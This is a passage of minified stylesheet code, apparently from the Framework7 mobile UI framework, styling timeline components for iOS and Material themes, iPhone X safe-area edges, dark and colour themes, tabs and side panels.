.timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right));left:0}.ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal){padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}}.ios .theme-dark .timeline-month-title,.ios .theme-dark .timeline-year-title{background:#1b1b1b}.ios .theme-dark .timeline-item-inner{background-color:#1c1c1d}.ios .theme-dark .timeline-item-time{color:#8e8e93}.ios .theme-dark .timeline-horizontal .timeline-item-date,.timeline-horizontal.ios .theme-dark .timeline-item-date{background:#1b1b1b}.ios .theme-dark .timeline-horizontal .timeline-item-date:after,.timeline-horizontal.ios .theme-dark .timeline-item-date:after{background-color:#282829}.ios .theme-dark .timeline-horizontal .timeline-month .timeline-item:before,.timeline-horizontal.ios .theme-dark .timeline-month .timeline-item:before{background-color:#282829}.ios .theme-dark .timeline-horizontal .timeline-item:after,.timeline-horizontal.ios .theme-dark .timeline-item:after{background-color:#282829}.ios .theme-dark .timeline-horizontal .timeline-year:after,.timeline-horizontal.ios .theme-dark .timeline-year:after{background-color:#282829}.md .timeline{margin:32px 0;padding:0 16px}.md .block-strong .timeline{padding:0;margin:0}.md .timeline-item{padding:2px 0 16px}.md .timeline-item:last-child{padding-bottom:2px}.md .timeline-item-content .block,.md .timeline-item-content .card,.md .timeline-item-content .list,.md .timeline-item-content.block,.md .timeline-item-content.card,.md .timeline-item-content.list{margin:0;width:100%}.md .timeline-item-content .block+.block,.md .timeline-item-content .block+.card,.md .timeline-item-content .block+.list,.md .timeline-item-content .card+.block,.md .timeline-item-content .card+.card,.md .timeline-item-content .card+.list,.md .timeline-item-content .list+.block,.md .timeline-item-content .list+.card,.md .timeline-item-content .list+.list{margin:16px 0 0}.md .timeline-item-inner{border-radius:2px;padding:8px 16px;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .timeline-item-inner+.timeline-item-inner{margin-top:16px}.md .timeline-item-divider{margin-left:16px;margin-right:16px}.md .timeline-item-time{margin-top:16px;color:rgba(0,0,0,.54)}.md .timeline-item-time:first-child{margin-top:0}.md .timeline-item-title{font-size:16px}.md .timeline-sides .timeline-item{margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .timeline-sides .timeline-item .timeline-item-date{text-align:right}.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:left}.md .timeline-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .timeline-sides .timeline-item-left .timeline-item-date{text-align:left}.md .timeline-sides .timeline-item-right{margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .timeline-sides .timeline-item-right .timeline-item-date{text-align:right}@media (min-width:768px){.md .tablet-sides .timeline-item{margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .tablet-sides .timeline-item .timeline-item-date{text-align:right}.md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:left}.md .tablet-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .tablet-sides .timeline-item-left .timeline-item-date{text-align:left}.md .tablet-sides .timeline-item-right{margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .tablet-sides .timeline-item-right .timeline-item-date{text-align:right}}.md .timeline-horizontal{padding:0;margin:0;position:relative}.md .timeline-horizontal .timeline-item{padding-top:34px!important;padding-bottom:12px}.md .timeline-horizontal .timeline-item-date{background:#2196f3;padding:0 12px;color:#fff}.md .timeline-horizontal .timeline-item-date:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .timeline-horizontal .timeline-item-content{padding:12px;height:calc(100% - 12px)}.md .timeline-horizontal.no-shadow .timeline-item-date:after{display:none}.md .timeline-horizontal .timeline-item:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.md .timeline-horizontal .timeline-item:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .timeline-month-title,.md .timeline-year-title{padding:0 12px;color:#fff;background:#2196f3}.md .timeline-month-title span,.md .timeline-year-title span{left:12px}.md .timeline-year-title span{margin-top:2px}@media (orientation:landscape){.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge){padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span{left:calc(12px + constant(safe-area-inset-left));left:calc(12px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title{left:-44px;right:0;width:auto}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child{overflow:visible}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date{width:auto;padding-left:calc(12px + constant(safe-area-inset-left));padding-left:calc(12px + env(safe-area-inset-left));left:calc(0px - constant(safe-area-inset-left));left:calc(0px - env(safe-area-inset-left));right:0}.md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal){padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child{overflow:visible}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right));left:0}.md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal){padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}}.md .theme-dark .timeline-item-inner{background-color:rgba(255,255,255,.03)}.md .theme-dark .timeline-item-time{color:rgba(255,255,255,.54)}.md .color-theme-red .timeline-item-date,.md .color-theme-red .timeline-month-title,.md .color-theme-red .timeline-year-title{background:#f44336}.md .color-theme-green .timeline-item-date,.md .color-theme-green .timeline-month-title,.md .color-theme-green .timeline-year-title{background:#4caf50}.md .color-theme-blue .timeline-item-date,.md .color-theme-blue .timeline-month-title,.md .color-theme-blue .timeline-year-title{background:#2196f3}.md .color-theme-pink .timeline-item-date,.md .color-theme-pink .timeline-month-title,.md .color-theme-pink .timeline-year-title{background:#e91e63}.md .color-theme-yellow .timeline-item-date,.md .color-theme-yellow .timeline-month-title,.md .color-theme-yellow .timeline-year-title{background:#ffeb3b}.md .color-theme-orange .timeline-item-date,.md .color-theme-orange .timeline-month-title,.md .color-theme-orange .timeline-year-title{background:#ff9800}.md .color-theme-gray .timeline-item-date,.md .color-theme-gray .timeline-month-title,.md .color-theme-gray .timeline-year-title{background:#9e9e9e}.md .color-theme-white .timeline-item-date,.md .color-theme-white .timeline-month-title,.md .color-theme-white .timeline-year-title{background:#fff}.md .color-theme-black .timeline-item-date,.md .color-theme-black .timeline-month-title,.md .color-theme-black .timeline-year-title{background:#000}.md .timeline.color-theme-red .timeline-item-date,.md .timeline.color-theme-red .timeline-month-title,.md .timeline.color-theme-red .timeline-year-title{background:#f44336}.md .timeline.color-theme-green .timeline-item-date,.md .timeline.color-theme-green .timeline-month-title,.md .timeline.color-theme-green .timeline-year-title{background:#4caf50}.md .timeline.color-theme-blue .timeline-item-date,.md .timeline.color-theme-blue .timeline-month-title,.md .timeline.color-theme-blue .timeline-year-title{background:#2196f3}.md .timeline.color-theme-pink .timeline-item-date,.md .timeline.color-theme-pink .timeline-month-title,.md .timeline.color-theme-pink .timeline-year-title{background:#e91e63}.md .timeline.color-theme-yellow .timeline-item-date,.md .timeline.color-theme-yellow .timeline-month-title,.md .timeline.color-theme-yellow .timeline-year-title{background:#ffeb3b}.md .timeline.color-theme-orange .timeline-item-date,.md .timeline.color-theme-orange .timeline-month-title,.md .timeline.color-theme-orange .timeline-year-title{background:#ff9800}.md .timeline.color-theme-gray .timeline-item-date,.md .timeline.color-theme-gray .timeline-month-title,.md .timeline.color-theme-gray .timeline-year-title{background:#9e9e9e}.md .timeline.color-theme-white .timeline-item-date,.md .timeline.color-theme-white .timeline-month-title,.md .timeline.color-theme-white .timeline-year-title{background:#fff}.md .timeline.color-theme-black .timeline-item-date,.md .timeline.color-theme-black .timeline-month-title,.md .timeline.color-theme-black .timeline-year-title{background:#000}.tabs .tab{display:none}.tabs .tab-active{display:block}.tabs-animated-wrap{position:relative;width:100%;overflow:hidden;height:100%}.tabs-animated-wrap>.tabs{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;height:100%;-webkit-transition-duration:.3s;transition-duration:.3s}.tabs-animated-wrap>.tabs>.tab{width:100%;display:block;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.tabs-animated-wrap.not-animated>.tabs{-webkit-transition-duration:.3s;transition-duration:.3s}.tabs-swipeable-wrap{height:100%}.tabs-swipeable-wrap>.tabs{height:100%}.tabs-swipeable-wrap>.tabs>.tab{display:block}.page>.tabs{height:100%}.panel-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;opacity:0;z-index:5999;display:none;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.panel-backdrop.not-animated{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel{z-index:1000;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;overflow:auto;-webkit-overflow-scrolling:touch;top:0;height:100%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);width:260px;background-color:#fff}.panel.not-animated{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel.panel-reveal.not-animated~.view,.panel.panel-reveal.not-animated~.views{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel-cover{z-index:6000}.panel-left{left:0}.panel-left.panel-cover{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.panel-right{right:0}.panel-right.panel-cover{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.panel-visible-by-breakpoint{display:block;-webkit-transform:translate3d(0,0,0)!important;transform:translate3d(0,0,0)!important}.panel-visible-by-breakpoint.panel-cover{z-index:5900}html.with-panel .framework7-root>.view .page-content,html.with-panel .framework7-root>.views .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}html.with-panel-left-cover .panel-backdrop,html.with-panel-right-cover .panel-backdrop{display:block;opacity:1}html.with-panel-left-reveal .panel-backdrop,html.with-panel-right-reveal .panel-backdrop,html.with-panel-transitioning 